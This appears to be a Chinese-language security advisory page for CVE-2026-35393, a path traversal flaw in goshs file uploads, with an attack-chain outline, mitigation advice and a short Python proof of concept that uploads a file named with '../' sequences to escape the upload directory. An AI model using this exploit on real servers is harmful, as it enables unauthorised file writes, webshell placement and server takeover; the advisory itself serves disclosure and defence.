IPBUF安全漏洞报告
English
CVE-2026-35393 CVSS 9.8 严重

CVE-2026-35393: goshs路径遍历漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35393
漏洞类型
路径遍历
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
goshs

相关标签

路径遍历文件上传远程代码执行goshsCVE-2026-35393

漏洞概述

Goshs(Go编写的SimpleHTTPServer)在2.0.0-beta.3之前的版本中存在安全漏洞。由于POST多部分上传目录未经过充分清理,攻击者可利用此漏洞将文件上传至服务器任意路径,可能导致远程代码执行。

技术细节

该漏洞源于goshs在处理文件上传请求时,未对用户输入的文件名进行严格的路径规范化处理。攻击者可以通过发送特制的POST multipart/form-data请求,在文件名字段中注入“../”路径遍历序列。由于服务端缺乏安全过滤,恶意文件会被写入预期的上传目录之外,例如Web根目录或系统敏感目录。攻击者可借此上传WebShell或恶意脚本,进而控制服务器。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标服务器正在运行goshs服务,且版本低于2.0.0-beta.3。
STEP 2
漏洞利用
攻击者构造包含“../”序列的恶意POST请求,尝试将文件上传到非预期目录。
STEP 3
写入恶意文件
由于未对目录进行清理,服务器将文件写入系统关键路径(如Web根目录)。
STEP 4
执行与控制
攻击者通过HTTP请求访问上传的恶意文件,执行任意代码并获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): # Define the malicious file content data = b'Malicious content or webshell' # Use path traversal in the filename to escape the upload directory files = { 'file': ('../../malicious_file.txt', data, 'text/plain') } try: response = requests.post(f"{target_url}/upload", files=files) if response.status_code == 200: print("[+] Exploit successful: File uploaded via path traversal.") else: print(f"[-] Exploit failed: Status code {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit("http://127.0.0.1:8000")

影响范围

goshs < 2.0.0-beta.3

防御指南

临时缓解措施
如无法立即升级,建议通过防火墙限制对goshs上传端口的访问,或部署WAF规则拦截包含“../”路径遍历特征的HTTP请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表